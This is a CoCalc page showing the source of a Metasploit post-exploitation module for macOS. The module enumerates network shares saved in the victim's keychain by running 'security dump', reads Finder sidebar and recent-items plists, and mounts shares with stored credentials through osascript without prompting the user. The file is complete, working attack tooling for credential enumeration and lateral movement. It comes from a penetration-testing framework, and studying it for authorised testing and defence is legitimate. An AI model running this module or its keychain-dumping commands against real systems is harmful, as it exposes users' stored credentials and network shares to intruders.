CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/manage/mount_share.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
# list of accepted file share protocols. other "special" URLs (like vnc://) will be ignored.
9
FILE_SHARE_PROTOCOLS = %w[smb nfs cifs ftp afp]
10
11
# Used to parse a name property from a plist
12
NAME_REGEXES = [/^Name = "(.*)";$/, /^Name = (.*);$/]
13
14
# Used to parse a URL property from a plist
15
URL_REGEX = /^URL = "(.*)";$/
16
17
include Msf::Post::File
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'OSX Network Share Mounter',
24
'Description' => %q{
25
This module lists saved network shares and tries to connect to them using stored
26
credentials. This does not require root privileges.
27
},
28
'License' => MSF_LICENSE,
29
'Author' => [
30
'Peter Toth <globetother[at]gmail.com>',
31
'joev'
32
],
33
'Platform' => [ 'osx' ],
34
'SessionTypes' => [ 'meterpreter', 'shell' ],
35
'Actions' => [
36
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
37
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
38
[ 'UMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
39
],
40
'DefaultAction' => 'LIST'
41
)
42
)
43
44
register_options(
45
[
46
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
47
OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
48
]
49
)
50
51
register_advanced_options(
52
[
53
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
54
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
55
OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
56
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
57
]
58
)
59
end
60
61
def run
62
username = cmd_exec('whoami').strip
63
security_path = datastore['SECURITY_PATH'].shellescape
64
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
65
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^~/, "/Users/#{username}").shellescape
66
67
if action.name == 'LIST'
68
if file?(security_path)
69
saved_shares = get_keyring_shares(security_path)
70
if saved_shares.empty?
71
print_status('No Network Share credentials were found in the keyrings')
72
else
73
print_status('Network shares saved in keyrings:')
74
print_status(" Protocol\tShare Name")
75
saved_shares.each do |line|
76
print_good(" #{line}")
77
end
78
end
79
else
80
print_error('Could not check keyring contents: Security binary not found.')
81
end
82
if file?(sidebar_plist_path)
83
favorite_shares = get_favorite_shares(sidebar_plist_path)
84
if favorite_shares.empty?
85
print_status('No favorite shares were found')
86
else
87
print_status('Favorite shares (without stored credentials):')
88
print_status(" Protocol\tShare Name")
89
favorite_shares.each do |line|
90
print_uri(line)
91
end
92
end
93
else
94
print_error('Could not check sidebar favorites contents: Sidebar plist not found')
95
end
96
if file?(recent_plist_path)
97
recent_shares = get_recent_shares(recent_plist_path)
98
if recent_shares.empty?
99
print_status('No recent shares were found')
100
else
101
print_status('Recent shares (without stored credentials):')
102
print_status(" Protocol\tShare Name")
103
recent_shares.each do |line|
104
print_uri(line)
105
end
106
end
107
else
108
print_error('Could not check recent favorites contents: Recent plist not found')
109
end
110
mounted_shares = get_mounted_volumes
111
if mounted_shares.empty?
112
print_status('No volumes found in /Volumes')
113
else
114
print_status('Mounted Volumes:')
115
mounted_shares.each do |line|
116
print_good(" #{line}")
117
end
118
end
119
elsif action.name == 'MOUNT'
120
mount
121
elsif action.name == 'UMOUNT'
122
umount
123
end
124
end
125
126
# Returns the network shares stored in the user's keychain. These shares will often have
127
# creds attached, so mounting occurs without prompting the user for a password.
128
# @return [Array<String>] sorted list of volumes stored in the user's keychain
129
def get_keyring_shares(security_path)
130
# Grep for desc srvr and ptcl
131
data = cmd_exec("#{security_path} dump")
132
lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
133
134
# Go through the list, find the saved Network Password descriptions
135
# and their corresponding ptcl and srvr attributes
136
list = []
137
lines.each_with_index do |line, x|
138
# Remove everything up to the double-quote after the equal sign,
139
# and also the trailing double-quote
140
next unless line =~ /"desc"<blob>=("Network Password"|<NULL>)/ && x < lines.length - 2 && (lines[x + 1].match "^.*\=\"(.*)\w*\"\w*$")
141
142
protocol = ::Regexp.last_match(1)
143
if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x + 2].match("^.*\=\"(.*)\"\w*$")
144
server = ::Regexp.last_match(1)
145
list.push(protocol + "\t" + server)
146
end
147
end
148
list.sort
149
end
150
151
# Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
152
# an address, then click the [+] button next to the address field.
153
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
154
def get_favorite_shares(sidebar_plist_path)
155
# Grep for URL
156
data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
157
list = data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact
158
159
# Grep for EntryType and Name
160
data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
161
lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
162
163
# Go through the list, find the rows with EntryType 8 and their corresponding name
164
lines.each_with_index do |line, x|
165
if line =~ /EntryType = 8;/ && x < lines.length - 1 && NAME_REGEXES.any? { |r| lines[x + 1].strip =~ r }
166
list.push(::Regexp.last_match(1))
167
end
168
end
169
170
list.sort
171
end
172
173
# Returns the user's "Recent Shares" list
174
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
175
def get_recent_shares(recent_plist_path)
176
# Grep for Name
177
data = cmd_exec("defaults read #{recent_plist_path} Hosts")
178
data.lines.map(&:strip).map { |line| line =~ URL_REGEX && ::Regexp.last_match(1) }.compact.uniq.sort
179
end
180
181
# @return [Array<String>] sorted list of mounted volume names
182
def get_mounted_volumes
183
cmd_exec('ls /Volumes').lines.map(&:strip).sort
184
end
185
186
def mount
187
share_name = datastore['VOLUME']
188
protocol = datastore['PROTOCOL']
189
print_status("Connecting to #{protocol}://#{share_name}")
190
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
191
end
192
193
def umount
194
share_name = datastore['VOLUME']
195
print_status("Disconnecting from #{share_name}")
196
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
197
end
198
199
# hook cmd_exec to print a debug message when DEBUG=true
200
def cmd_exec(cmd)
201
vprint_status(cmd)
202
super
203
end
204
205
# Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
206
# @param [String] line the URL to parse and print formatted
207
def print_uri(line)
208
if line =~ %r{^(.*?)://(.*)$}
209
print_good " #{::Regexp.last_match(1)}\t#{::Regexp.last_match(2)}"
210
else
211
print_good " #{line}"
212
end
213
end
214
215
# path to osascript on the remote system
216
def osascript_path
217
datastore['OSASCRIPT_PATH'].shellescape
218
end
219
end
220
221